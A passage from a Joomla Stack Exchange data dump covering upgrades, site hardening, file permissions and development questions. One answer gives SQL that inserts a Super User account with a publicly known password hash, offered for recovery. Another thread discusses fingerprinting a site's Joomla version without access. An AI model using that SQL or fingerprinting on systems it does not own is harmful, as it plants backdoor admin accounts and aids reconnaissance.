automatically&quot; link that appears in the alert box to remove the line that was added to the configuration.php file. If using the link was not successful, then go back and delete the added line from your configuration.php file using a text editor. Upload the configuration.php file back to the site. &lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;Using your FTP program verify the file permissions of the configuration.php file, they should be 444. If you manually removed the added line, then change the file permissions on the configuration.php file to 444. &lt;/p&gt;&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Method 2: Directly Changing the Database entry&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Locate the Super user in the database &lt;code&gt;Xyz8_users&lt;/code&gt; table and in the password field enter the following:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;d2064d358136996bd22421584a7cb33e:trd7TvKHx6dMeoMmBVxYmg0vuXEA4199&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;The above changes the password to &lt;strong&gt;secret&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Other values for the password are:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;admin  = 433903e0a9d6a712e00251e44d29bf87:UJ0b9J5fufL3FKfCc0TLsYJBh2PFULvT&#xA;secret = d2064d358136996bd22421584a7cb33e:trd7TvKHx6dMeoMmBVxYmg0vuXEA4199&#xA;OU812  = 5e3128b27a2c1f8eb53689f511c4ca9e:J584KAEv9d8VKwRGhb8ve7GdKoG7isMm&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;If you want to use a mysql query you can run the following:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;INSERT INTO `Xyz8_users`&#xA;   (`name`, `username`, `password`, `params`)&#xA;VALUES ('Administrator2', 'admin2',&#xA;    'd2064d358136996bd22421584a7cb33e:trd7TvKHx6dMeoMmBVxYmg0vuXEA4199', '');&#xA;INSERT INTO `jos31_user_usergroup_map` (`user_id`,`group_id`)&#xA;VALUES (LAST_INSERT_ID(),'8');&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;After you gain access to your account you should immediately change the password to something secure as the above is public and supplied only for recovery purposes.&lt;/p&gt;&#xA;" OwnerUserId="169" LastEditorUserId="169" LastEditDate="2014-04-23T10:57:11.720" LastActivityDate="2014-04-23T10:57:11.720" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="170" PostTypeId="2" ParentId="160" CreationDate="2014-04-23T10:41:17.890" Score="0" Body="&lt;ol&gt;&#xA;&lt;li&gt;If you starting development, then use latest major version available (Use 4 series when its available)&lt;/li&gt;&#xA;&lt;li&gt;When a new minor version (3.4) is released, wait for the time your current version(3.3) is supported. In the time the new version must have received critical bug fixes. So your website can now be updated safely.&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Tip:&lt;/strong&gt; Always maintain a test site with same server setup, to test it first, then use the version.&lt;/p&gt;&#xA;" OwnerUserId="144" LastActivityDate="2014-04-23T10:41:17.890" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="171" PostTypeId="2" ParentId="152" CreationDate="2014-04-23T10:42:24.707" Score="16" Body="&lt;p&gt;Actually it does slow the site down in the slightest by having them disabled rather than uninstalled, as when loading a plugin, it checks the ones that are enabled and runs them. If you have 100 plugins for example and 50 of them are enabled, then the &lt;code&gt;where()&lt;/code&gt; clause will have to sift through the 50 disabled ones too. Its not a speed that you will notice that much (depending on how many extensions you have), but it would be just best to uninstall them.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;When viewing the extension manager in the backend, you will actually notice the speed difference.&lt;/p&gt;&#xA;" OwnerUserId="168" LastEditorUserId="168" LastEditDate="2014-05-05T20:20:10.390" LastActivityDate="2014-05-05T20:20:10.390" CommentCount="9" ContentLicense="CC BY-SA 3.0" />
  <row Id="173" PostTypeId="2" ParentId="160" CreationDate="2014-04-23T10:49:55.543" Score="7" Body="&lt;p&gt;There's a few things to consider when planning migrations between major versions.  One of the top ones should be the end of support or EOL date for the version you're using now; if that is close, you should be planning your move.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;For established websites, I'd suggest looking at the available features.  Does the new version have something you need soon?  If so, start planning your migration.  If your site is working just fine and doesn't need the newest features, you can stay on the current version as long as it's still supported.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If you're migrating, what's the extension support look like?  Do the extensions you use have a compatible version for the version you're migrating to?  If so, that simplifies things greatly, but if they don't, how much effort will go into replacing their features with something else?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Finally, every release that's tagged as stable should be suitable for building on, but personally I'd be a little more cautious about using a X.0 or even X.1 release as those are typically more prone to having bugs given the scope of change that can go into a major X.0 release.  I personally think X.2 or X.3 releases are when you start to see a release series mature to the point of being ready for major use.&lt;/p&gt;&#xA;" OwnerUserId="111" LastActivityDate="2014-04-23T10:49:55.543" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="174" PostTypeId="1" AcceptedAnswerId="183" CreationDate="2014-04-23T11:14:34.233" Score="1" ViewCount="246" Body="&lt;p&gt;With the new release strategy in mind, what is the current status of Joomla 4.x? Has the development already started? Is there something on Github? Is there a google group especially for 4.x?&lt;/p&gt;&#xA;" OwnerUserId="154" LastEditorUserId="9471" LastEditDate="2018-07-07T12:01:36.417" LastActivityDate="2018-07-07T12:01:36.417" Title="What is the current status of Joomla 4.x?" Tags="|joomla-4.x|" AnswerCount="3" CommentCount="2" ClosedDate="2014-04-23T23:18:36.117" ContentLicense="CC BY-SA 3.0" />
  <row Id="175" PostTypeId="1" AcceptedAnswerId="180" CreationDate="2014-04-23T11:14:53.683" Score="34" ViewCount="1542" Body="&lt;p&gt;What are the actions that one should take after a new Joomla installation in order to keep it secure? Both on shared hosting servers and dedicated ones.&lt;/p&gt;&#xA;" OwnerUserId="169" LastEditorUserId="140" LastEditDate="2014-04-24T09:02:23.503" LastActivityDate="2019-03-07T20:56:10.097" Title="How to secure a new Joomla installation?" Tags="|security|installation|" AnswerCount="9" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="176" PostTypeId="2" ParentId="174" CreationDate="2014-04-23T11:19:18.460" Score="1" Body="&lt;p&gt;As far as I know there is no official information about Joomla 4.x. But there is &lt;a href=&quot;https://github.com/joomla-cms/start-here&quot; rel=&quot;nofollow&quot;&gt;Joomla CMS Distributions&lt;/a&gt; project which potentially could be the base of Joomla 4.x.&lt;/p&gt;&#xA;" OwnerUserId="3" LastActivityDate="2014-04-23T11:19:18.460" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="177" PostTypeId="2" ParentId="175" CreationDate="2014-04-23T11:25:20.907" Score="4" Body="&lt;ol&gt;&#xA;&lt;li&gt;&lt;p&gt;Change username and keep administrator password strong, use two-factor authentication (inbuilt for 3.3+, for others &lt;a href=&quot;http://www.readybytes.net/labs/two-factor-authentication.html&quot; rel=&quot;nofollow&quot;&gt;http://www.readybytes.net/labs/two-factor-authentication.html&lt;/a&gt;)&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;Install kSecure (&lt;a href=&quot;http://extensions.joomla.org/extensions/access-a-security/site-security/login-protection/12271&quot; rel=&quot;nofollow&quot;&gt;http://extensions.joomla.org/extensions/access-a-security/site-security/login-protection/12271&lt;/a&gt;)&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;Safeguard your website from various attacks by using this htaccess &lt;a href=&quot;http://docs.joomla.org/Htaccess_examples_%28security%29&quot; rel=&quot;nofollow&quot;&gt;http://docs.joomla.org/Htaccess_examples_(security)&lt;/a&gt;&lt;/p&gt;&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;" OwnerUserId="144" LastActivityDate="2014-04-23T11:25:20.907" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="178" PostTypeId="2" ParentId="175" CreationDate="2014-04-23T11:45:16.657" Score="-4" Body="&lt;ol&gt;&#xA;&lt;li&gt;&lt;p&gt;I'm not a fan of two-factor authentication&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;Install Akeeba Admin Tools, enable advanced htaccess, check the options and the software firewall&lt;/p&gt;&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://www.akeebabackup.com/download/admin-tools.html&quot; rel=&quot;nofollow&quot;&gt;https://www.akeebabackup.com/download/admin-tools.html&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;Enable backend Url password&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;" OwnerUserId="174" LastActivityDate="2014-04-23T11:45:16.657" CommentCount="9" ContentLicense="CC BY-SA 3.0" />
  <row Id="179" PostTypeId="2" ParentId="175" CreationDate="2014-04-23T11:46:49.577" Score="6" Body="&lt;p&gt;Try this too,&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;Keep your Joomla up-to-date together with its extensions.&lt;/li&gt;&#xA;&lt;li&gt;Keep regularly backups of your site in &lt;a href=&quot;http://extensions.joomla.org/extensions/access-a-security/site-security/backup/25698&quot;&gt;clouds&lt;/a&gt;.&lt;/li&gt;&#xA;&lt;li&gt;Do not open &lt;code&gt;robots.txt&lt;/code&gt; for secured folders.&lt;/li&gt;&#xA;&lt;li&gt;For the latest Joomla versions, making use of the two-factor authentication will be more secure.&lt;/li&gt;&#xA;&lt;li&gt;Make sure folders and files have the right permissions allowed.&lt;/li&gt;&#xA;&lt;li&gt;Use Cloudfare for &lt;a href=&quot;http://extensions.joomla.org/extensions/core-enhancements/performance/content-networking/16320&quot;&gt;Joomla&lt;/a&gt;.&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;Hope its helps..&lt;/p&gt;&#xA;" OwnerUserId="138" LastEditorUserId="140" LastEditDate="2014-04-24T06:37:37.400" LastActivityDate="2014-04-24T06:37:37.400" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="180" PostTypeId="2" ParentId="175" CreationDate="2014-04-23T11:48:38.823" Score="37" Body="&lt;p&gt;Keeping a Joomla Website Secure&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;Use strong passwords.&lt;/li&gt;&#xA;&lt;li&gt;Minimise the number of administrator accounts.&lt;/li&gt;&#xA;&lt;li&gt;Disable or remove unused user accounts.&lt;/li&gt;&#xA;&lt;li&gt;Minimise the number of third party extensions and where third party extensions are necessary, use well supported extensions from established developers you trust.&lt;/li&gt;&#xA;&lt;li&gt;Regularly apply the latest updates to Joomla and third party extensions including &lt;a href=&quot;https://docs.joomla.org/Security_hotfixes_for_Joomla_EOL_versions&quot; rel=&quot;nofollow noreferrer&quot;&gt;security hotfixes for Joomla EOL versions&lt;/a&gt; where applicable.&lt;/li&gt;&#xA;&lt;li&gt;Subscribe to the &lt;a href=&quot;http://feedburner.google.com/fb/a/mailverify?uri=JoomlaSecurityNews&quot; rel=&quot;nofollow noreferrer&quot;&gt;Joomla Security News&lt;/a&gt; feed so you are kept informed of core Joomla security updates&lt;/li&gt;&#xA;&lt;li&gt;Subscribe to the &lt;a href=&quot;http://vel.joomla.org&quot; rel=&quot;nofollow noreferrer&quot;&gt;Joomla Vulnerable Extensions List (VEL)&lt;/a&gt; so new vulnerabilities can be quickly attended to. Scroll to the bottom of the page for the &lt;a href=&quot;http://feedburner.google.com/fb/a/mailverify?uri=JoomlaSecurityVulnerableExtensions&quot; rel=&quot;nofollow noreferrer&quot;&gt;subscription link&lt;/a&gt; - you can also follow the &lt;a href=&quot;https://twitter.com/joomlavel&quot; rel=&quot;nofollow noreferrer&quot;&gt;VEL on Twitter&lt;/a&gt;.&lt;/li&gt;&#xA;&lt;li&gt;Use good quality secure web hosting including an appropriate PHP file handler such as suPHP or FastCGI and security extensions such as mod_security. Use a &lt;a href=&quot;https://secure.php.net/supported-versions.php&quot; rel=&quot;nofollow noreferrer&quot;&gt;supported version of PHP&lt;/a&gt;.&lt;/li&gt;&#xA;&lt;li&gt;Rather than relying solely on your web hosting company backups, regularly perform your own backups of the website, copy the backup files off-site and regularly run test restores to a test location to check the quality of your backups.&lt;/li&gt;&#xA;&lt;li&gt;Enable https.&lt;/li&gt;&#xA;&lt;li&gt;Implement a web application firewall such as that provided with the professional version of Akeeba Admin Tools.&lt;/li&gt;&#xA;&lt;li&gt;Don't use the standard table prefix.&lt;/li&gt;&#xA;&lt;li&gt;Change the default Super Administrator user name and ID to something else. The professional version of Akeeba Admin Tools has a tool to change the Super Administrator ID.&lt;/li&gt;&#xA;&lt;li&gt;Restrict access to the Joomla Admin by IP. Only allow trusted IPs.&lt;/li&gt;&#xA;&lt;li&gt;Enable 2 factor authentication for administrator accounts (applies to Joomla 3.2 and later).&lt;/li&gt;&#xA;&lt;li&gt;Repeat the above steps for other websites that share the same hosting account or ideally, separate websites to their own web hosting accounts to prevent cross contamination.&lt;/li&gt;&#xA;&lt;li&gt;Ensure the personal computers of website administrators are similarly secured. For example, implement a good quality virus and malware scanner. This helps protect any website credentials that are stored on personal computers. Ideally use an encryption tool or application to store website and other credentials.&lt;/li&gt;&#xA;&lt;li&gt;Read the &lt;a href=&quot;https://docs.joomla.org/Top_10_Stupidest_Administrator_Tricks&quot; rel=&quot;nofollow noreferrer&quot;&gt;Top 10 stupidest administrator tricks&lt;/a&gt; for information on what &lt;strong&gt;not&lt;/strong&gt; to do.&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&#xA;&lt;p&gt;For more detailed instructions, see the official &lt;a href=&quot;http://docs.joomla.org/Security_Checklist&quot; rel=&quot;nofollow noreferrer&quot;&gt;Security Checklist&lt;/a&gt;.&lt;/p&gt;&#xA;" OwnerUserId="120" LastEditorUserId="120" LastEditDate="2019-03-02T22:47:24.767" LastActivityDate="2019-03-02T22:47:24.767" CommentCount="5" ContentLicense="CC BY-SA 4.0" />
  <row Id="181" PostTypeId="2" ParentId="174" CreationDate="2014-04-23T11:50:17.857" Score="0" Body="&lt;p&gt;I think there's some idea to develop Joomla Framework first, and re-write everything on Joomla Framework to build a new CMS.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;http://issues.joomla.org/&quot; rel=&quot;nofollow&quot;&gt;http://issues.joomla.org/&lt;/a&gt; is already based on Joomla Framework.&lt;/p&gt;&#xA;" OwnerUserId="174" LastActivityDate="2014-04-23T11:50:17.857" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="182" PostTypeId="1" AcceptedAnswerId="184" CreationDate="2014-04-23T12:07:31.777" Score="10" ViewCount="7333" Body="&lt;p&gt;I am creating an audit tool using PHP where I can submit the url of a Joomla website and run a number of checks on the target website including determining the installed Joomla version number. I don't have any administration privileges on the target Joomla website or the server it resides on.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Can anyone tell me which files and file contents I need to check to be able to confidently predict the installed Joomla version without having any administration privileges on the target Joomla website?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I am interested not just in knowing if the website is Joomla 2.5 (for example) but also whether it is Joomla 2.5.18 or 2.5.19 etc so I know if it is being well maintained or not.&lt;/p&gt;&#xA;" OwnerUserId="120" LastEditorUserId="69" LastEditDate="2014-04-24T08:24:21.770" LastActivityDate="2018-01-30T02:49:00.580" Title="How can I programatically determine the Joomla version of a website on which I have no administration privileges?" Tags="|cms|" AnswerCount="5" CommentCount="5" ContentLicense="CC BY-SA 3.0" />
  <row Id="183" PostTypeId="2" ParentId="174" CreationDate="2014-04-23T12:13:38.503" Score="9" Body="&lt;p&gt;The development strategy for the Joomla CMS is currently being revised. There is going to be at least a 3.3 and a 3.4 and probably more incremental minor versions at irregular intervals. This is different from the previous pattern where we'd go 3.5 and then 4.0 six months apart. It's not known when 4.0 will be released but my guess is it's not going to be necessary to think about until at least the end of 2015.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Development hasn't started on 4.x at all and there is no Google Group specifically for that version.&lt;/p&gt;&#xA;" OwnerUserId="106" LastActivityDate="2014-04-23T12:13:38.503" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="184" PostTypeId="2" ParentId="182" CreationDate="2014-04-23T12:14:48.137" Score="9" Body="&lt;p&gt;I think you have to download and install all Joomla versions and check which files are unique.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Also a good starting point is the index.html files in the different Joomla versions, there was a change of the content iirc.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Based on the comment of @brian-a-peat you can check the color of admin section.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;thats maybe the best approach to check the checksum of the css files for example.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Next edit, good the XML would really give you a good starting point as long as it is not blocked.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;for Joomla &amp;gt;=1.6 ?&#xA;administrator/manifests/libraries/joomla.xml&#xA;for Joomla &amp;lt;= 1.5&#xA;you could check some other xml files.&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="69" LastEditorUserId="69" LastEditDate="2014-04-23T12:25:42.973" LastActivityDate="2014-04-23T12:25:42.973" CommentCount="4" ContentLicense="CC BY-SA 3.0" />
  <row Id="185" PostTypeId="2" ParentId="182" CreationDate="2014-04-23T12:24:48.703" Score="4" Body="&lt;p&gt;There's a nice article on Gavick regarding this:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://www.gavick.com/magazine/how-to-check-the-version-of-joomla.html&quot; rel=&quot;nofollow&quot;&gt;https://www.gavick.com/magazine/how-to-check-the-version-of-joomla.html&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;which leads to this plugin for Chrome:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://chrome.google.com/webstore/detail/joomla-version-check/nfbncfldblphagigkamkhnjnhjkdlnii&quot; rel=&quot;nofollow&quot;&gt;https://chrome.google.com/webstore/detail/joomla-version-check/nfbncfldblphagigkamkhnjnhjkdlnii&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Which I just installed...it totally does what you want. There's a little Joomla logo in the address bar and if you click on it, it tells you the version of joomla that's running.&lt;/p&gt;&#xA;" OwnerUserId="25" LastActivityDate="2014-04-23T12:24:48.703" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="186" PostTypeId="2" ParentId="182" CreationDate="2014-04-23T12:25:17.443" Score="4" Body="&lt;p&gt;The version is stored inside the &lt;code&gt;JVersion&lt;/code&gt; class. It is in &lt;code&gt;/libraries/cms/version/version.php&lt;/code&gt; so may be you can parse it somehow.&lt;/p&gt;&#xA;" OwnerUserId="3" LastActivityDate="2014-04-23T12:25:17.443" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="187" PostTypeId="1" AcceptedAnswerId="196" CreationDate="2014-04-23T12:36:34.610" Score="2" ViewCount="318" Body="&lt;p&gt;How best can I troubleshoot an excess memory utilisation issue for a client with a Joomla website on shared hosting where nothing has apparently changed except for a sudden increase in the memory utilisation to the extent that Cloud Linux is shutting the website down with &quot;Internal Server Error 500&quot; errors.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I don't have admin access to the server but do have access to cPanel. The web hosting company are fairly helpful if I know the right question to ask.&lt;/p&gt;&#xA;" OwnerUserId="120" LastEditorUserId="120" LastEditDate="2014-04-23T13:38:35.057" LastActivityDate="2014-04-24T11:45:18.650" Title="What steps should I take to resolve excess memory resource utilisation detected by Cloud Linux or similar?" Tags="|performance|" AnswerCount="2" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="188" PostTypeId="1" CreationDate="2014-04-23T12:43:28.963" Score="8" ViewCount="320" Body="&lt;p&gt;I've read the documentation page about upcoming Joomla 3.3 Microdata &lt;a href=&quot;http://docs.joomla.org/Microdata&quot;&gt;http://docs.joomla.org/Microdata&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;It sounds Ok.... but how can a user implement it in a simple articles-loaded-by-user site?&lt;/p&gt;&#xA;" OwnerUserId="174" LastEditorUserId="115" LastEditDate="2014-04-25T18:01:04.313" LastActivityDate="2014-04-25T18:01:04.313" Title="How to implement microdata? A practical guide?" Tags="|cms|microdata|" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="189" PostTypeId="1" AcceptedAnswerId="191" CreationDate="2014-04-23T12:49:23.033" Score="10" ViewCount="5831" Body="&lt;p&gt;I'm building a component and It needs access the #__content table. The component com_content does everything that my component needs to do in that table. How can I import the com_content models into the controllers in my component?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Is a good practice to use a existent table instead to create my own? My component is going to show a photo gallery with comments and I want to use the #__content table to store the comments. Should I create a new table to the comments? &lt;/p&gt;&#xA;" OwnerUserId="49" LastActivityDate="2020-08-15T08:07:20.070" Title="How can I use a model of other component in my component?" Tags="|component|model|" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="190" PostTypeId="1" AcceptedAnswerId="192" CreationDate="2014-04-23T13:13:04.170" Score="7" ViewCount="278" Body="&lt;p&gt;In updating an extension to support Joomla 3.x we've run into a few cases where the signature for a function has changed since 2.5 and results in a &lt;code&gt;Strict standards&lt;/code&gt; warning.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;For example in the JTable class the &lt;code&gt;_getAssetParentId()&lt;/code&gt; had changed from &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;protected function _getAssetParentId($table = null, $id = null)&#xA;{&#xA;    ...&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;to this in Joomla 3.x:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;protected function _getAssetParentId(JTable $table = null, $id = null)&#xA;{&#xA;    ...&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;It's a small difference but, it's enough to throw up the warning.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Looking at other extensions that support Joomla 2.5 and 3.0 using a single class file they seem to simply ignore the problem.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Obviously, if we fix the warning for 3.x then 2.5 installs with throw the warning… &lt;/p&gt;&#xA;&#xA;&lt;p&gt;&quot;Solutions&quot; that aren't an option for us include:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;using two separate version specific class files&lt;/li&gt;&#xA;&lt;li&gt;turning off the warnings&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;How do you resolve this conflict?&lt;/p&gt;&#xA;" OwnerUserId="107" LastEditorUserId="69" LastEditDate="2014-04-23T20:40:19.313" LastActivityDate="2014-04-23T20:40:19.313" Title="How to resolve `Strict standards` warning for different method signatures across Joomla versions" Tags="|development|php|" AnswerCount="3" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="191" PostTypeId="2" ParentId="189" CreationDate="2014-04-23T13:16:53.957" Score="18" Body="&lt;p&gt;You can import &lt;code&gt;com_content&lt;/code&gt; models into the controller using &lt;code&gt;addIncludePath()&lt;/code&gt; method:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;JModelLegacy::addIncludePath(JPATH_SITE . '/components/com_content/models', 'ContentModel');&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;&lt;code&gt;addIncludePath()&lt;/code&gt; method adds a directory where &lt;code&gt;JModelLegacy&lt;/code&gt; should search for models. You may either pass a string or an array of directories as the first parameter. As the second parameter you can specify class prefix for models (optional).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Then just use &lt;code&gt;getInstance()&lt;/code&gt; method:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$model = JModelLegacy::getInstance('Articles', 'ContentModel', array('ignore_request' =&amp;gt; true));&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;The first parameter is the model type to instantiate, the second is the prefix for the model class name (optional) and the third parameter is configuration array for model (optional).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;But I prefer not to use existing core components tables for custom components.&lt;/p&gt;&#xA;" OwnerUserId="3" LastEditorUserId="3" LastEditDate="2014-04-23T13:26:20.523" LastActivityDate="2014-04-23T13:26:20.523" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="192" PostTypeId="2" ParentId="190" CreationDate="2014-04-23T13:25:09.173" Score="9" Body="&lt;p&gt;At work we try to resolve all PHP warnings, errors and strict standards violations. In situations like this, where the signatures are different, there's no way to resolve it other using two separate, version specific class files. I'm curious though why that's not an option for you?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Version specific class files are actually simple to implement, but a bit harder to maintain, since you'll be updating some code in multiple places. The best thing to do in this situation, IMO, is to have a root &lt;code&gt;src/&lt;/code&gt; folder that holds all your component classes for autoloading, then have any 2.5 or 3.x version specific classes in an &lt;code&gt;overrides/$VERSION&lt;/code&gt; folder. You can then setup the autoloader to look in the appropriate places in the appropriate order, based on current version.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I really wish there was an easier way, but PHP doesn't allow dynamic method overloading where you can make the signatures match.&lt;/p&gt;&#xA;" OwnerUserId="70" LastEditorUserId="70" LastEditDate="2014-04-23T20:16:34.580" LastActivityDate="2014-04-23T20:16:34.580" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="193" PostTypeId="2" ParentId="190" CreationDate="2014-04-23T13:26:49.777" Score="4" Body="&lt;p&gt;To my knowledge, you can't solve this strict warning. Because the signatures will always be different in either 2.5 or 3.x.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Either fix it for 3.x and ignore in 2.5 or vice versa.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;In a productive enviroment, you should never see this warning anyway as you should only show strict warnings in development settings.&lt;/p&gt;&#xA;" OwnerUserId="52" LastActivityDate="2014-04-23T13:26:49.777" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="194" PostTypeId="2" ParentId="132" CreationDate="2014-04-23T13:28:29.570" Score="5" Body="&lt;p&gt;Yes, the permissions should be 644 and 755 as &lt;a href=&quot;https://joomla.stackexchange.com/a/133/1811&quot;&gt;explained by Shyam&lt;/a&gt;, but the other posters forget to mention that this is if the file is owned by your webserver, and the group is the group you belong to. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;For instance, in FileZilla you will see permissions something like this:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;Filename      Size   Filetype  Last Modified          Permissions   Owner/Group&#xA;somefile.txt  11KB   txt file  2014-04-23 3:43:00 AM      www-data myGroup &#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;The permissions drwxr-xr-x are 755 (just ignore the leading dr so it's wxr-xr-x). Read permissions are worth 4, Write permissions are worth 2 and execute permissions are worth 1.. so having them all add up to 7, and that's what the owner of this file has. The group has read and execute permissions but not write, so they have 5, and everyone also has 5.. making the permissions 755. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;754 would be owners having read, write, execute. Group having read and execute, and everyone only having read permissions.  &lt;/p&gt;&#xA;&#xA;&lt;p&gt;In the example above, you can see that the file owner is www-data (which is the default web server group for many Apache servers) and the Group is the group myGroup, which is the Group (admins) that I belong to. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;The first number is the owners permissions, the second is the groups' permissions, and the third number is everyone's permissions. Obviously, you have to be careful to give the web server the permissions it needs... and make sure the files that need to be locked down can't be written or executed by just anyone (the third number). &#xA;Below is what the numbers mean: &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Assuming the Webserver owns the files, your admin is in the group, and of course, everyone is the third number. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;644: Files with permissions set to 644 are readable by everyone and writeable only by the file/folder owner.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;755: Files with permissions set to 755 are readable and executable by everyone, but only writeable by the file/folder owner.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;777: Files with permissions set to 777 are readable, writeable, and executable by everyone. Don’t use this set of permissions, for security reasons, on your web server unless absolutely necessary, and only temporarily. It's a disaster waiting to happen, especially if a directory has those permissions.. it means anyone can upload files and execute them. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Here are the Linux commands to setup the Joomla! recommended permissions from the command line. Recommended Joomla File Permissions&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;Set ownership:   sudo chown -R www-data:myName /path/to/your/domain.com&#xA;Set Directories: sudo find /path/to/your/domain.com -type d -exec chmod 755 {} \;&#xA;Set files :      sudo find /path/to/your/domain.com -type f -exec chmod 644 {} \;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;NOTE - many people will show you these commands without the path, but I prefer to ALWAYS use the complete path, because if you forget to change directories to the root Joomla! installation directory and run them without the path, you have just changed permissions for every file and directory in that top directory, and created a huge mess. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;After you run these commands, you will need to fix permissions for any directories that need more permissions... for instance...users uploading images etc. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;IF YOU ONLY USE THE JOOMLA! interface, and you don't have admin or FTP access to the server, then USE THE OWNERSHIP and PERMISSIONS ABOVE. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;STOP HERE IF YOU ARE A NOVICE.. the Below is only for people that truly understand what permissions and ownership do. 